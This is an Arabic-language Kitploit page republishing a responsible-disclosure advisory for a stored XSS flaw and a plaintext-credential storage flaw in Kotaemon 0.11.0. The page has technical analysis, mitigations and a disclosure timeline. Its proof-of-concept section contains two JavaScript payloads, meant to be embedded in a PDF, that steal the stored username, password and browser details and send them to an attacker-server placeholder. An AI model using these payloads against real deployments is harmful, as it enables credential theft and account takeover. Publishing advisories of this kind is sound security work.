Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — إفصاح عام عن CVE-2025-56526 وCVE-2025-56527 — XSS مخزّن عبر عرض محتوى PDF غير مُنقّى وتعرض بيانات الاعتماد كنص صريح في Kotaemon 0.11.0. يتضمن تحليلًا فنيًا كاملًا، وPoC، وتقييم الأثر، والجدول الزمني للإفصاح المسؤول. | Kitploit
أدوات/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
أدوات التصيدتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتأمن الويبالأوراق والأبحاثالتعلم والتعليم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

إفصاح عام عن CVE-2025-56526 وCVE-2025-56527 — XSS مخزّن عبر عرض محتوى PDF غير مُنقّى وتعرض بيانات الاعتماد كنص صريح في Kotaemon 0.11.0. يتضمن تحليلًا فنيًا كاملًا، وPoC، وتقييم الأثر، والجدول الزمني للإفصاح المسؤول.

عرض المستودع
1منذ 9 أشهرلم تتم المراجعة بعد

Kotaemon CVE-2025-56526 & CVE-2025-56527 Public Disclosure

تتضافر ثغرة البرمجة النصية عبر المواقع المخزنة (Stored XSS) في لوحة معلومات Kotaemon مع تخزين بيانات الاعتماد كنص صريح في localStorage، ما يتيح اختراق الجلسة بالكامل من ملف PDF خبيث واحد.

الملخص التنفيذي

  • المنتج/الإصدارات المتأثرة: Kotaemon <= 0.11.0 (بما في ذلك الـ commit 37cdc28)
  • الثغرات:
    • CVE-2025-56526 – XSS مخزنة عبر عرض محتوى PDF غير مُعقَّم
    • CVE-2025-56527 – تخزين اسم المستخدم وكلمة المرور كنص صريح في localStorage
  • الصلاحيات المطلوبة: مستخدم مُصادَق عليه لديه أذونات رفع المستندات
  • الأثر: سرقة بيانات الاعتماد، اختطاف جلسة دائم، تشويه واجهة المستخدم لمخرجات LLM، والإضرار اللاحق بثقة المستخدم

نظرة عامة على CVE

CVE IDالثغرةCWEالأثر الأساسي
CVE-2025-56526XSS مخزنة عبر HTML مُشتق من PDFCWE-79تنفيذ JavaScript عشوائي، تسريب بيانات
CVE-2025-56527تخزين بيانات الاعتماد كنص صريحCWE-922كشف بيانات الاعتماد، اختطاف الجلسة

التحليل الفني

1. عرض محتوى PDF غير مُعقَّم (XSS مخزنة)

يتم حقن نتائج استخراج PDF (النصوص، ترميز الجداول، البيانات الوصفية للصور) في DOM دون تهريب (escaping). لذلك يمكن لملف PDF خبيث أن يحمل HTML/JS عشوائيًا يعمل كلما عرضت لوحة المعلومات أو طرق عرض Reasoning المحتوى المسترجع retrieved_content.

تشمل مسارات التعليمات البرمجية المتأثرة:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (table / image rendering)
  • libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. تخزين بيانات الاعتماد كنص صريح في localStorage

يقوم libs/ktem/ktem/pages/login.py مع libs/ktem/ktem/assets/js/main.js بتخزين بيانات الاعتماد الخام واسترجاعها مباشرة من localStorage:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

أي JavaScript يتم تنفيذه عبر ناقل XSS يمكنه قراءة هذه القيم فورًا، مما يؤدي إلى سرقة موثوقة لبيانات الاعتماد والاستيلاء طويل الأمد على الحسابات.

إثبات المفهوم

  1. ضع الحمولة أدناه داخل ملف PDF (على سبيل المثال، داخل خاصية alt لصورة أو كائن نصي):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. ارفع ملف PDF وافتحه داخل لوحة معلومات Kotaemon. يعمل السكربت المضمّن داخل نطاق (origin) التطبيق ويسرّب بيانات الاعتماد.
  2. حمولة مطوّرة تلتقط أيضًا سياق المتصفح للمساعدة في استهداف أكثر دقة:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

الأثر

  • XSS مخزنة: يتم تنفيذ JavaScript عشوائي كلما تم عرض ملف PDF الخبيث.
  • سرقة بيانات الاعتماد: أزواج username/password كنص صريح تكون مكشوفة لأي سكربت محقون.
  • اختطاف جلسة دائم: يمكن للمهاجمين إعادة استخدام بيانات الاعتماد لانتحال شخصية المستخدمين، أو الوصول إلى المشاريع، أو تسميم مخرجات LLM.
  • فقدان سلامة مخرجات LLM: لم يعد بإمكان المستخدمين الثقة بلوحة المعلومات أو نتائج التفكير (reasoning)، مما يتيح سلاسل هندسة اجتماعية متطورة.

تحليل التهديدات الموسّع

غالبًا ما يتم نشر Kotaemon في البيئات المحلية أو بيئات المؤسسات حيث يرفع المستخدمون مستندات داخلية حساسة. ولأن المحتوى المشتق من PDF يُدرج في DOM دون تعقيم، يمكن للمهاجم إخفاء حمولة خبيثة داخل مستند أعمال يبدو طبيعيًا.

عندما يرفع الضحية هذا المستند ويعرضه، يعمل JavaScript المخفي تلقائيًا، مسرقًا بيانات الاعتماد من localStorage وكاشفًا سجلات الدردشة الخاصة ومحتويات المستندات.

على الرغم من أن المحفّز يبدو وكأنه إجراء من المستخدم، فإن هذا ليس XSS ذاتيًا. السبب الجذري هو فشل من جانب الخادم في تعقيم HTML المستخرج من الملفات المرفوعة، مما يتيح XSS مخزنة داخل مكونات واجهة مستخدم موثوقة.

ونتيجة لذلك، يمكن لملف PDF خبيث واحد أن يؤدي إلى اختراق كامل للحساب في سيناريوهات الهندسة الاجتماعية الواقعية.

التوصيات

  1. قم بتهريب أو تعقيم جميع المحتوى المشتق من PDF قبل العرض (على سبيل المثال، html.escape أو DOMPurify أو Trusted Types لمستقبلات DOM).
  2. فرض خط أنابيب قائمة بيضاء لـ Markdown/HTML بحيث لا يصل إلى المتصفح سوى الوسوم/الخصائص المعتمدة.
  3. منع تخزين بيانات الاعتماد الخام على جانب العميل؛ واستخدم بدلًا من ذلك ملفات تعريف ارتباط آمنة بـ HTTP-only أو رموز جلسة قصيرة الأجل.
  4. نشر CSP (script-src 'self') وTrusted Types لتقليل سطح هجوم XSS عبر DOM.
  5. إضافة اختبارات انحدار (regression tests) لمسارات استيعاب PDF وتحديد سياسة معالجة مخرجات LLM تتعامل مع المحتوى المسترجع باعتباره غير موثوق.

الأدلة (screenshots/)

  • ملف PDF خبيث معروض داخل لوحة المعلومات
  • حمولة HTML محقونة عبر المحتوى المستخرج
  • أدوات المطور تعرض عقد DOM غير مُعقَّمة
  • بيانات اعتماد كنص صريح مخزنة في localStorage
  • طلب تسريب شبكي أرسلته الحمولة
  • خادم المهاجم يستقبل بيانات اعتماد مشفرة بـ base64
  • حمولة مطوّرة تجمع بيانات وصفية URL/origin/UA
  • جلسة/واجهة مستخدم خاضعة لسيطرة المهاجم

بيان الإفصاح

يتبع هذا الإعلان العام الممارسات القياسية في الصناعة للإفصاح المسؤول:

  • تم منح البائع أكثر من 90 يومًا للاستجابة وإصدار تصحيح.
  • تمت عدة محاولات متابعة دون تقديم أي حل أو خطة معالجة.
  • تم تخصيص معرّفات CVE (CVE-2025-56526, CVE-2025-56527) رسميًا من قبل MITRE.
  • تم إرسال إشعار نهائي قبل 30 يومًا من الإفصاح العام.
  • يُستكمل الآن الإفصاح العام لحماية المستخدمين النهائيين وتقليل التعرض لمخاطر غير مُصحَّحة.

توصيات للمستخدمين

يجب على مستخدمي Kotaemon (<= 0.11.0) مراعاة ما يلي حتى يتوفر إصلاح أمني:

  • مراقبة المستودع الرسمي بحثًا عن التصحيحات الأمنية القادمة.
  • تجنب معالجة المستندات غير الموثوقة.

الجدول الزمني للإفصاح

  • 2025-07-14: إرسال التقرير الأولي للثغرة إلى فريق Kotaemon.
  • 2025-08-12: أول متابعة؛ أقرّ البائع بانشغاله وطلب مهلة.
  • 2025-09-12: متابعة ثانية مع تقرير مفصل وإثبات مفهوم (PoC).
  • 2025-09-13: متابعة نهائية؛ دون أي رد إضافي.
  • 2025-10-14: إرسال إشعار نهائي بالنوايا للإفصاح علنًا.
  • 2025-11-14: الإفصاح العام عن CVE-2025-56526 وCVE-2025-56527.

الإعداد والتواصل

  • تم إعداد هذا التقرير بواسطة HanTul. (سابقًا من فريق 404 Not Found 퇴근، الدفعة الثالثة من مدرسة WhiteHat School (WHS3)، كوريا الجنوبية).
  • التواصل: [email protected]
  • GitHub: @HanTul
تنزيل الأداة